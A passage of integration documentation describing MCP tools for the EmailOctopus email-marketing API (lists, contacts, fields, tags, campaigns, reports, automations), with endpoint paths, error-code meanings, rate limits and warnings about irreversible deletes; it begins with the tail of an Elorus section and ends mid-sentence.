elorus_put_v1_2_timeentries_by_id_mark_unbilled (write) — Clear the billed flag on one time entry -- tracked time on a project, billable or not -- returning it to the pool the next project invoice draws from. The reverse of the mark-billed tool via PUT /v1.2/timeentries/{id}/mark-unbilled/ PUT /api/v1/elorus/v1.2/timeentries/{id}/mark-unbilled. Scopes: api. elorus_put_v1_2_unitofmeasurement_by_id (write) — REPLACE one unit of measurement -- the unit a product quantity is expressed in. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/unitofmeasurement/{id}/ PUT /api/v1/elorus/v1.2/unitofmeasurement/{id}. Scopes: api. elorus_put_v1_2_warehouse_by_id (write) — REPLACE one warehouse -- a stock location goods receipts and adjustments move stock through. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/warehouse/{id}/ PUT /api/v1/elorus/v1.2/warehouse/{id}. Scopes: api. ================================================================================ ## EmailOctopus URL: https://www.agenticfabriq.com/integrations/emailoctopus Section: Integrated Tools EmailOctopus — 25 MCP tools Provider key: emailoctopus. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. emailoctopus_delete_lists_by_list_id (write, destructive) — Delete a contact list via DELETE /lists/{list_id}. Deletes the list AND, with it, the contacts inside it -- this is the widest-blast-radius call in the integration. DESTRUCTIVE AND IRREVERSIBLE: the sealed contract documents no recycle bin, no restore endpoint and no soft-delete state for this resource, and the call answers 204 with no body, so there is nothing to read back. Confirm the id before calling. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. DELETE /api/v1/emailoctopus/lists/{list_id}. Scopes: api. emailoctopus_delete_lists_by_list_id_contacts_by_contact_id (write, destructive) — Delete a contact via DELETE /lists/{list_id}/contacts/{contact_id}. Removes the contact from the list entirely. This is NOT an unsubscribe: a deleted contact leaves no record, so the list loses the evidence that the address ever opted out -- to suppress someone while keeping that record, update the contact with `status: unsubscribed` instead. DESTRUCTIVE AND IRREVERSIBLE: the sealed contract documents no recycle bin, no restore endpoint and no soft-delete state for this resource, and the call answers 204 with no body, so there is nothing to read back. Confirm the id before calling. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. DELETE /api/v1/emailoctopus/lists/{list_id}/contacts/{contact_id}. Scopes: api. emailoctopus_delete_lists_by_list_id_fields_by_tag (write, destructive) — Delete a custom field from a list via DELETE /lists/{list_id}/fields/{tag}. Deletes the custom field definition from the list and, with it, the value every contact in that list held for it. DESTRUCTIVE AND IRREVERSIBLE: the sealed contract documents no recycle bin, no restore endpoint and no soft-delete state for this resource, and the call answers 204 with no body, so there is nothing to read back. Confirm the id before calling. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. DELETE /api/v1/emailoctopus/lists/{list_id}/fields/{tag}. Scopes: api. emailoctopus_delete_lists_by_list_id_tags_by_tag (write, destructive) — Delete a tag from a list via DELETE /lists/{list_id}/tags/{tag}. Deletes the tag from the list and removes it from every contact that carried it. The contacts themselves are untouched. DESTRUCTIVE AND IRREVERSIBLE: the sealed contract documents no recycle bin, no restore endpoint and no soft-delete state for this resource, and the call answers 204 with no body, so there is nothing to read back. Confirm the id before calling. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. DELETE /api/v1/emailoctopus/lists/{list_id}/tags/{tag}. Scopes: api. emailoctopus_get_campaigns (read) — List campaigns via GET /campaigns. Returns every campaign on the account with its id, name, status, subject, from address and send time. This is where a `campaign_id` comes from for the three report tools. Paginated: at most 100 results per page in `data`, with the next page's cursor in `paging.next.starting_after`. Pass that value back verbatim as `starting_after`; the cursor is opaque and the vendor asks that nothing be read out of it. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. GET /api/v1/emailoctopus/campaigns. Scopes: api. emailoctopus_get_campaigns_by_campaign_id (read) — Get a campaign via GET /campaigns/{campaign_id}. One campaign by id, with its content and the lists and segments it was sent to. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. GET /api/v1/emailoctopus/campaigns/{campaign_id}. Scopes: api. emailoctopus_get_campaigns_by_campaign_id_reports (read) — List a campaign's contacts by report status via GET /campaigns/{campaign_id}/reports. `status` is REQUIRED and is the whole point of the tool: it selects which slice of the campaign's recipients to list -- `sent`, `opened`, `not-opened`, `clicked`, `not-clicked`, `bounced`, `complained` or `unsubscribed`. Each row is a contact, so this is the tool that answers "who did not open it". Omitting `status` is a 422, not a default. Paginated: at most 100 results per page in `data`, with the next page's cursor in `paging.next.starting_after`. Pass that value back verbatim as `starting_after`; the cursor is opaque and the vendor asks that nothing be read out of it. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. GET /api/v1/emailoctopus/campaigns/{campaign_id}/reports. Scopes: api. emailoctopus_get_campaigns_by_campaign_id_reports_links (read) — Get a campaign's link click report via GET /campaigns/{campaign_id}/reports/links. Per-LINK click totals for one campaign: every URL in the email with its total and unique click counts. Not paginated. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. GET /api/v1/emailoctopus/campaigns/{campaign_id}/reports/links. Scopes: api. emailoctopus_get_campaigns_by_campaign_id_reports_summary (read) — Get a campaign's summary report via GET /campaigns/{campaign_id}/reports/summary. The campaign's headline counters in one document -- sent, bounced (hard and soft), opened, clicked, unsubscribed, complained -- each as a total and a unique count. Read this before pulling the per-contact reports, which are paginated a hundred at a time. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. GET /api/v1/emailoctopus/campaigns/{campaign_id}/reports/summary. Scopes: api. emailoctopus_get_lists (read) — List contact lists via GET /lists. Returns every contact list on the account with its id, name, double-opt-in setting, custom field definitions and per-status contact counts. This is where a `list_id` comes from for every other list, contact, field and tag tool. Paginated: at most 100 results per page in `data`, with the next page's cursor in `paging.next.starting_after`. Pass that value back verbatim as `starting_after`; the cursor is opaque and the vendor asks that nothing be read out of it. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. GET /api/v1/emailoctopus/lists. Scopes: api. emailoctopus_get_lists_by_list_id (read) — Get a contact list via GET /lists/{list_id}. One list by id, with its custom field definitions (each field's `tag` is the key to use in a contact's `fields` object) and its contact counts by status. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. GET /api/v1/emailoctopus/lists/{list_id}. Scopes: api. emailoctopus_get_lists_by_list_id_contacts (read) — List contacts in a list via GET /lists/{list_id}/contacts. The contacts in one list, filterable by `status` (defaults to `subscribed`, so unsubscribed and pending contacts are NOT returned unless asked for), by `tag`, and by creation or update time through the four ISO 8601 bounds `created_at.gte`, `created_at.lte`, `last_updated_at.gte` and `last_updated_at.lte`. Paginated: at most 100 results per page in `data`, with the next page's cursor in `paging.next.starting_after`. Pass that value back verbatim as `starting_after`; the cursor is opaque and the vendor asks that nothing be read out of it. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. GET /api/v1/emailoctopus/lists/{list_id}/contacts. Scopes: api. emailoctopus_get_lists_by_list_id_contacts_by_contact_id (read) — Get a contact via GET /lists/{list_id}/contacts/{contact_id}. One contact in one list. `contact_id` accepts either the contact's id or an MD5 hash of the lowercase form of its email address, which is how a caller holding only an address reads a contact without listing the whole list. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. GET /api/v1/emailoctopus/lists/{list_id}/contacts/{contact_id}. Scopes: api. emailoctopus_get_lists_by_list_id_tags (read) — List a list's tags via GET /lists/{list_id}/tags. Every tag defined on one list. Tags are per list, like fields. Paginated: at most 100 results per page in `data`, with the next page's cursor in `paging.next.starting_after`. Pass that value back verbatim as `starting_after`; the cursor is opaque and the vendor asks that nothing be read out of it. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. GET /api/v1/emailoctopus/lists/{list_id}/tags. Scopes: api. emailoctopus_post_automations_by_automation_id_queue (write) — Start an automation for a contact via POST /automations/{automation_id}/queue. Start an automation for a specific contact. The automation must have the **Started via API** trigger type. A contact can only trigger an automation once, unless you've enabled **Allow contacts to repeat** in the automation's settings. `automation_id` names the automation and the required body field `contact_id` names who enters it -- either the contact's id or an MD5 hash of the lowercase form of their email address, which is how this API lets a caller address a contact it has never listed. Answers 204 with no body on success. A 409 `conflict` is the documented signal that the contact has already been through this automation once. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. EmailOctopus validates the body before acting and answers 422 with an `errors` array of RFC 9457 entries, each carrying a JSON Pointer to the offending attribute (`{"pointer": "/email_address", "detail": "This value should not be blank."}`), so a 422 creates and changes nothing. The body must be sent with `Content-Type: application/json` or the API answers 415 `unsupported-media-type`. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. POST /api/v1/emailoctopus/automations/{automation_id}/queue. Scopes: api. emailoctopus_post_lists (write) — Create a contact list via POST /lists. `name` is the only field, and it is required. The new list is returned with the `id` every other list tool needs. A list starts with no custom fields beyond the built-in ones and no tags. EmailOctopus validates the body before acting and answers 422 with an `errors` array of RFC 9457 entries, each carrying a JSON Pointer to the offending attribute (`{"pointer": "/email_address", "detail": "This value should not be blank."}`), so a 422 creates and changes nothing. The body must be sent with `Content-Type: application/json` or the API answers 415 `unsupported-media-type`. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. POST /api/v1/emailoctopus/lists. Scopes: api. emailoctopus_post_lists_by_list_id_contacts (write) — Create a contact via POST /lists/{list_id}/contacts. `email_address` is required; `fields` keys by each custom field's `tag`, `tags` is an object of tag-name to true, and `status` is `subscribed`, `unsubscribed` or `pending`. Creating a contact that is already in the list is a 409. Creating something that already exists answers 409 `already-exists` (the vendor's examples: a tag the list already has, a contact already in the list). Prefer the upsert -- Create or update a contact (emailoctopus_put_lists_by_list_id_contacts) -- when the record may exist. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. EmailOctopus validates the body before acting and answers 422 with an `errors` array of RFC 9457 entries, each carrying a JSON Pointer to the offending attribute (`{"pointer": "/email_address", "detail": "This value should not be blank."}`), so a 422 creates and changes nothing. The body must be sent with `Content-Type: application/json` or the API answers 415 `unsupported-media-type`. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. POST /api/v1/emailoctopus/lists/{list_id}/contacts. Scopes: api. emailoctopus_post_lists_by_list_id_fields (write) — Create a custom field on a list via POST /lists/{list_id}/fields. Custom fields are per LIST, not per account. The body is one of two shapes, which is why it is declared as a choice: a `text`, `number` or `date` field needs `label`, `tag` and `type`; a `choice_single` or `choice_multiple` field needs those three AND a `choices` array. `tag` is the key a contact's `fields` object uses and the key personalisation uses in a campaign, so it is the name that matters. Creating something that already exists answers 409 `already-exists` (the vendor's examples: a tag the list already has, a contact already in the list). Prefer the upsert -- Create or update a contact (emailoctopus_put_lists_by_list_id_contacts) -- when the record may exist. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. EmailOctopus validates the body before acting and answers 422 with an `errors` array of RFC 9457 entries, each carrying a JSON Pointer to the offending attribute (`{"pointer": "/email_address", "detail": "This value should not be blank."}`), so a 422 creates and changes nothing. The body must be sent with `Content-Type: application/json` or the API answers 415 `unsupported-media-type`. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. POST /api/v1/emailoctopus/lists/{list_id}/fields. Scopes: api. emailoctopus_post_lists_by_list_id_tags (write) — Create a tag on a list via POST /lists/{list_id}/tags. Creates a tag on the list so it can be applied to contacts. Creating a tag the list already carries is a 409. Creating something that already exists answers 409 `already-exists` (the vendor's examples: a tag the list already has, a contact already in the list). Prefer the upsert -- Create or update a contact (emailoctopus_put_lists_by_list_id_contacts) -- when the record may exist. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. EmailOctopus validates the body before acting and answers 422 with an `errors` array of RFC 9457 entries, each carrying a JSON Pointer to the offending attribute (`{"pointer": "/email_address", "detail": "This value should not be blank."}`), so a 422 creates and changes nothing. The body must be sent with `Content-Type: application/json` or the API answers 415 `unsupported-media-type`. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. POST /api/v1/emailoctopus/lists/{list_id}/tags. Scopes: api. emailoctopus_put_lists_by_list_id (write) — Rename a contact list via PUT /lists/{list_id}. `name` is required and is the only settable attribute on this route: double opt-in, fields and tags each have their own tools. This REPLACES the name rather than patching it. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. EmailOctopus validates the body before acting and answers 422 with an `errors` array of RFC 9457 entries, each carrying a JSON Pointer to the offending attribute (`{"pointer": "/email_address", "detail": "This value should not be blank."}`), so a 422 creates and changes nothing. The body must be sent with `Content-Type: application/json` or the API answers 415 `unsupported-media-type`. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. PUT /api/v1/emailoctopus/lists/{list_id}. Scopes: api. emailoctopus_put_lists_by_list_id_contacts (write) — Create or update a contact via PUT /lists/{list_id}/contacts. This is an *upsert* endpoint. If the contact does not exist, it will be created. If the contact already exists, it will be updated. UPSERT: this is the create-or-update route, addressed by `email_address` in the body rather than by contact id, so it is the right tool when the caller does not know whether the contact exists. A field set to `null` is REMOVED from the contact and a tag set to `false` is removed; tags the body does not mention are left alone. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. EmailOctopus validates the body before acting and answers 422 with an `errors` array of RFC 9457 entries, each carrying a JSON Pointer to the offending attribute (`{"pointer": "/email_address", "detail": "This value should not be blank."}`), so a 422 creates and changes nothing. The body must be sent with `Content-Type: application/json` or the API answers 415 `unsupported-media-type`. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. PUT /api/v1/emailoctopus/lists/{list_id}/contacts. Scopes: api. emailoctopus_put_lists_by_list_id_contacts_batch (write) — Update contacts in a batch via PUT /lists/{list_id}/contacts/batch. Up to a page of contacts in one call, each addressed by `id` or by the MD5 hash of its lowercase email address. PARTIAL SUCCESS IS THE NORMAL OUTCOME and the status code does not report it: the 200 body carries a `success` array and an `errors` array, and each error names the contact's id with its own status and detail. Read `errors`, never the status, to find out what did not happen. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. EmailOctopus validates the body before acting and answers 422 with an `errors` array of RFC 9457 entries, each carrying a JSON Pointer to the offending attribute (`{"pointer": "/email_address", "detail": "This value should not be blank."}`), so a 422 creates and changes nothing. The body must be sent with `Content-Type: application/json` or the API answers 415 `unsupported-media-type`. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. PUT /api/v1/emailoctopus/lists/{list_id}/contacts/batch. Scopes: api. emailoctopus_put_lists_by_list_id_contacts_by_contact_id (write) — Update a contact via PUT /lists/{list_id}/contacts/{contact_id}. Updates a contact addressed by id (or by the MD5 hash of its lowercase email address). Every body field is optional here, unlike the upsert: a field set to `null` is removed from the contact and a tag set to `false` is removed, while tags the body does not mention are left alone. Changing `status` to `unsubscribed` is how a contact is unsubscribed through the API. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. EmailOctopus validates the body before acting and answers 422 with an `errors` array of RFC 9457 entries, each carrying a JSON Pointer to the offending attribute (`{"pointer": "/email_address", "detail": "This value should not be blank."}`), so a 422 creates and changes nothing. The body must be sent with `Content-Type: application/json` or the API answers 415 `unsupported-media-type`. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. PUT /api/v1/emailoctopus/lists/{list_id}/contacts/{contact_id}. Scopes: api. emailoctopus_put_lists_by_list_id_fields_by_tag (write) — Update a custom field on a list via PUT /lists/{list_id}/fields/{tag}. The `{tag}` in the path names the EXISTING field; `tag` in the body is what it becomes, so this route can rename the key itself -- and a rename changes the key every contact's `fields` object and every campaign's personalisation must use. `label`, `tag` and `type` are all required, so this replaces the field's definition rather than patching one attribute. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. EmailOctopus validates the body before acting and answers 422 with an `errors` array of RFC 9457 entries, each carrying a JSON Pointer to the offending attribute (`{"pointer": "/email_address", "detail": "This value should not be blank."}`), so a 422 creates and changes nothing. The body must be sent with `Content-Type: application/json` or the API answers 415 `unsupported-media-type`. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries 